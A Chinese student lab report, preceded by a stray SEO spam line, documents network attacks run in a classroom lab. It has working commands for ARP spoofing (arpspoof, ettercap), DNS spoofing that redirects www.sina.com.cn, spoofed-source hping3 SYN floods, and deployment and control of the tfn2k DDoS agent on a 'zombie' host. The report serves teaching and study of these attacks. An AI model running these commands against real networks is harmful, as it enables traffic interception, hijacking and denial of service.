国内设计网站公司网站四川游戏seo整站优化
实验二 网络攻击
实验人员:第五组全体成员
一、实验目的:
1:掌握ARP欺骗的原理,实践ARP欺骗的过程。
2:掌握TCP劫持的原理,实践TCP劫持的过程。
3:掌握DNS欺骗的原理,实践DNS欺骗的过程。
4:掌握DOS攻击的原理,实践DOS攻击的过程。
二、实验原理、设计(+拓扑):
1:网络拓扑图
2:实验原理
【1】ARP欺骗
攻击者通过伪造和发送虚假的ARP响应报文,使目标主机或网络设备(如交换机、路由器)更新其ARP表中IP地址与MAC地址的对应关系,从而达到拦截、篡改或窃取网络数据的目的。
ARP协议用于将IP地址解析为MAC地址。当主机A需要与主机B通信但不知道主机B的MAC地址时,主机A会广播ARP请求,主机B回复自己的MAC地址,主机A将此对照关系存储到ARP缓存中。
【2】TCP劫持
攻击者通过伪造或篡改TCP连接的通信数据,从而插入、拦截、或修改通信流量。攻击者通过窃听正在进行的TCP连接,获取当前的序列号和其他连接信息。攻击者伪造合法的TCP报文(如带有正确序列号和确认号),插入到通信中,冒充一方与另一方通信。如果攻击者成功,通信的合法一方可能被中断或忽略,攻击者完全接管会话。
TCP协议在建立连接时,采用三次握手过程。第一次是客户端向服务器发送SYN报文(请求建立连接)。第二次是服务器收到请求后发送SYN-ACK报文(确认连接请求)。第三次是客户端收到确认后发送ACK报文(确认接收服务器的响应),连接建立。
【3】DNS欺骗
攻击者通过伪造域名解析结果,将用户引导到错误的IP地址或恶意网站。这种攻击通常利用DNS协议缺乏验证机制的漏洞,目的是中断正常通信、窃取敏感信息或传播恶意软件。攻击者伪装成权威DNS服务器,发送伪造的响应报文给本地DNS服务器。本地DNS服务器接收伪造的结果,并将其缓存。用户查询时,本地DNS服务器返回伪造的结果。
DNS将人类可读的域名解析为计算机可读的IP地址。解析过程通常包括多个步骤,由本地DNS服务器和权威DNS服务器共同完成。用户向本地DNS服务器发送查询请求。如果本地DNS服务器无法直接回答,会递归查询权威DNS服务器获取正确的IP地址。本地DNS服务器将结果返回给用户,同时缓存解析结果以便后续使用。
【4】DOS攻击
攻击者通过大量非法请求消耗目标服务器、网络或系统的资源,使其无法正常提供服务。DoS攻击的目的是让合法用户无法访问服务,而不是直接窃取或篡改数据。
【5】DDos攻击
DDoS(分布式拒绝服务攻击)是一种DoS(拒绝服务攻击)的升级版。攻击者利用分布式设备(通常是由恶意软件控制的“僵尸网络”)同时向目标发送大量流量或请求,从而导致目标系统资源耗尽或网络带宽堵塞,无法为正常用户提供服务。
三、实验步骤、内容、数据(现象):
以下为方便叙述在内网中的各个主机的ip地址,定义1号主机的ip为10.205.5.11,2号主机的ip为10.205.5.22,3号主机的ip为10.205.5.33,4号主机的ip为10.205.5.44。
内容1:内网中的ARP欺骗
【1】在3号主机上,配置内网服务器
通过apt install apache2,安装Web服务器依赖。
通过systemctl start apache2,启动apache2。
通过systemctl enable apache2,开启apache2的服务。
通过echo “<html><body><h1>hello</h1></body></html>” | sudo tee /var/www/html/index.html,配置本地的服务器网页内容。
通过systemctl restart apache2,重启apache2。
在火狐浏览器中输入10.205.5.33/index.html,访问配置好的内网服务器。
【2】在2号主机上,访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机可以正常访问内网服务器。
【3】在1号主机上,使用ARP攻击
通过arpspoof -I eth0 -t 10.205.5.22 10.205.5.33,攻击2号服务器。
【4】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现无法进行路由的第一跳。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机不可以正常访问内网服务器。
【5】在1号主机上,停止ARP攻击
按下快捷键ctrl + C,停止ARP攻击。
【6】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
综上所述,内网中的ARP欺骗需要3台主机,其中1台主机配置内网服务器,1台主机进行攻击,1台主机被攻击。
内容2:TCP劫持
【1】在4号主机上,开启ettercap
通过ettercap -G,启动嗅探。
primary interface选择内网网卡。
点击左上角的放大镜logo,扫描网段内的用户。
点击右上角的更多,选择hosts,选择hosts list。
查询到2个host信息,分别是1号主机和3号主机,同时还有他们的IP地址和对应的MAC地址。
注:后续我们将靶机换成了2号主机和3号主机。
【2】在4号主机上,设置靶机并进行ARP欺骗
把3号主机放到target1中,把2号主机放到target2中。
选择菜单中的ARP poisoning,进行ARP欺骗。
【3】在靶机上,查看欺骗结果
通过arp -a,在3号主机上查看缓存信息中IP地址和MAC地址的对应关系。
发现网段中所有的IP地址所对应的MAC地址均为同一个00开头d4结尾的地址。
在4号主机上,通过ifconfig,查到该MAC地址是4号主机的内网MAC,说明欺骗成功。
【4】在靶机上,模拟劫持登录
在3号主机上,通过ssh kali[at]10.205.5.22,访问2号主机的非root账户,并输入密码进行登录。
注:2号主机需要开启ssh服务,通过systemctl start ssh。
在3号主机上,继续通过ifconfig,查看该账户的ip地址。发现确为2号主机。
【5】在4号主机上,查看连接情况
点击ettercap右上角的view,点击connections,发现有一个22端口的连接包。
双击打开,可以获取到该包的加密后信息。
内容3:DNS欺骗
【1】在3号主机上,编辑ettercap工具的DNS配置文件
通过gedit /etc/Ettercap/etter.dns,在编辑框下打开dns配置文件。在非注释部分添加新的A记录和PTR记录。
Dns配置文件打开后的内容,如下图所示。在配置文件中,需要按照[域名 + 记录类型 + 攻击者主机IP地址]的形式添加记录。
此处假设需要劫持的网站域名是新浪www.sina.com.cn,且3号主机的外网IP是192.168.0.117,那么需要增加的A记录和PTR记录分别是:
www.sina.com.cn A 192.168.0.117
www.sina.com.cn PTR 192.168.0.117
记录添加完成后,通过快捷键ctrl + s保存dns配置文件。
【2】在3号主机上,启动kali内置的apache服务
通过service apache2 start,启动apache服务。
这个步骤可以使得靶机能够访问到攻击主机所设置的被dns劫持后的页面,默认为页面是在攻击主机的/var/www/html/index.html文件下。以下是3号主机在内网ip下的访问结果。
【3】在3号主机上,启动ettercap工具并嗅探靶机
通过ettercap -G,打开ettercap的可视化界面。
在初始化菜单栏中,选择外网网卡接口,并嗅探外网存活的主机IP。
查看扫描结果,并把目标靶机设置为target1,把网关设置为target2。在此处,目标靶机是2号主机,其外网ip是192.168.0.122。默认网关是192.168.0.254。
【4】在3号主机上,对靶机进行dns攻击
点击插件plugins,选择manage plugins。
双击dns_spoof,启动dns攻击。此后靶机无法正常访问新浪网站。
再次双击dns_spoof,可以停止对靶机的dns攻击。
【其他】使用终端命令,启动对目标靶机进行dns攻击
在1号主机上,通过ipconfig,查看本地网络配置。
在3号主机上,通过arpspoof -i eth1 -t 192.168.0.123 192.168.0.254,对1号主机进行外网的arp攻击。
在1号主机上,通过arp -a,查看arp缓存表。可以发现攻击主机的ip地址和物理地址已被加入。
在3号主机上,通过ettercap -i eth1 -Tp -M arp:remote -P dns_spoof /192.168.0.123// /192.168.0.254//,对1号主机进行外网的dns攻击。
在1号主机上,通过ping www.sina.com.cn,访问新浪网站。可以发现回复的ip是192.168.0.117,为3号主机的外网ip。
在3号主机上,可以看到1号主机的TCP包的去向。
内容4:DOS攻击(kali攻击kali)
【1】在3号主机上,对4号主机进行一对一的dos攻击
通过hping -I eth0 -a 10.205.5.55 -S 10.205.5.44 -p 80 -I u1000,把3号主机的ip地址伪装成10.205.5.55,向4号主机发送SYN包,发起大量SYN连接进行攻击。
【2】在4号主机上,查看wireshark的抓包结果
在wireshark的抓包中,可以看到有许多源地址为10.205.5.55且目标地址为10.205.5.44的SYN包。说明3号主机伪装ip攻击成功。
内容5:DOS攻击(kali攻击windows)
【1】在3号主机上,测试网络连通性
通过ping 10.205.5.22,测试3号主机与2号主机在内网下的连通性。
通过windows任务管理器查看3号主机的性能,发现一切正常。
【2】在2号主机上,使用dos攻击
通过hping3 -q -n -a 1.1.1.2 -S -s 53 –keep -p 445 –flood 10.205.5.33,对3号主机进行SYN FLOOD攻击。
【3】在3号主机上,查看任务管理器
3号主机的性能中,内存方面直接爆炸,电脑出现严重卡顿。
内容6:DDOS攻击(tfn2k)
【1】在2号主机上,下载并解压tfn2k
在学吧网站上,把tfn2k软件包下载到kali系统上。
通过tar -zxvf tfn2k.tar.gz -C ./,解压tfn2k到当前目录。
【2】在2号主机上,编译tfn2k
通过cd ./tfn2k,进入tfn2k目录下。
通过sudo make,编译tfn2k,此步需要输入kali用户下的密码。
在编译过程中,需要自定义8到32位的密钥,并记住。为了方便,此处我们使用了12345678作为密钥。
编译完成后,通过ls,检查编译结果。可以看到文件目录下新增了td和tfn这2个文件。
tfn为主控端,通过此程序对代理端加密、下发攻击指令。Td为代理端,负责解密、接受攻击命令并发起攻击。代理端和主控端之间的⽹络通讯是进⾏加密的,使⽤的是AES对此加密算法,所以作为加密、解密的双⽅都需要知道密钥,加密⽅使⽤密钥对信息进⾏加密,解密⽅使⽤密钥对信息解密。
【3】在2号主机上,把td代理持续植入肉鸡
通过touch ip.txt,新建记录肉鸡ip地址的文本文件。
通过echo “10.205.5.33”>ip.txt,把3号主机当作肉鸡,填写到文本文件中。
通过rsync ./td kali@10.205.5.33:~/,把td文件传到肉鸡上。此步需要输入3号主机的kali用户密码。
【4】在2号主机上,通过ssh登录肉鸡并配置td
通过ssh kali@10.205.5.33,登录3号主机。
通过ifconfig,查看是否登录成功。可以发现eth0显示为10.205.5.33,说明ssh登录肉鸡成功。
通过su,登录3号主机的root用户。
通过./td,运行td文件。
通过ps -a,查看td是否运行成功。
【5】在2号主机上,新建终端,进行控制测试
通过./tfn -f ip.txt -c 10 -i "mkdir /home/kali/hello",在肉鸡的kali用户下建立一个hello文件。
在3号主机的该路径下,可以查看到新建了文件夹。这说明操纵机可以通过td操纵肉鸡。
【6】在2号主机上,操纵肉鸡,对目标机器进行攻击
通过./tfn -f ip.txt -c 6 -I 10.205.5.11,操纵3号主机对1号主机进行攻击。
通过./tfn -f ip.txt -c 0,停止攻击。
【7】在1号主机上,通过wireshark抓包查看攻击过程
2号主机可以通过-c,控制攻击所发送的包的类型。
当-c后面所带的参数是6时,采用短时间内发送大量的ICMP包进行攻击。
当-c后面所带的参数是5时,采用短时间内发送大量的TCP包进行攻击。
当-c后面所带的参数是4时,采用短时间内发送大量的UDP包进行攻击。
当-c后面所带的参数是8时,采用短时间内发送大量的混合包(ICMP+UDP+TCP)进行攻击。
四、思考(问题小结,包括未解决)
1:在dns攻击中,目标靶机必须在windows下运行,同时需要先开启arp攻击,再开启dns攻击。如果目标靶机在kali下运行,则在外网条件下,arp攻击都是无效的。
2:在内网条件下进行arp攻击时,攻击主机需要先在本地配置一个内网服务器。
3:在进行ddos多对一攻击时,需要区分当前终端下的用户是来自操纵机器还是来自肉鸡。同时需要判断新建的文件夹是在操纵机器上还是在肉鸡上。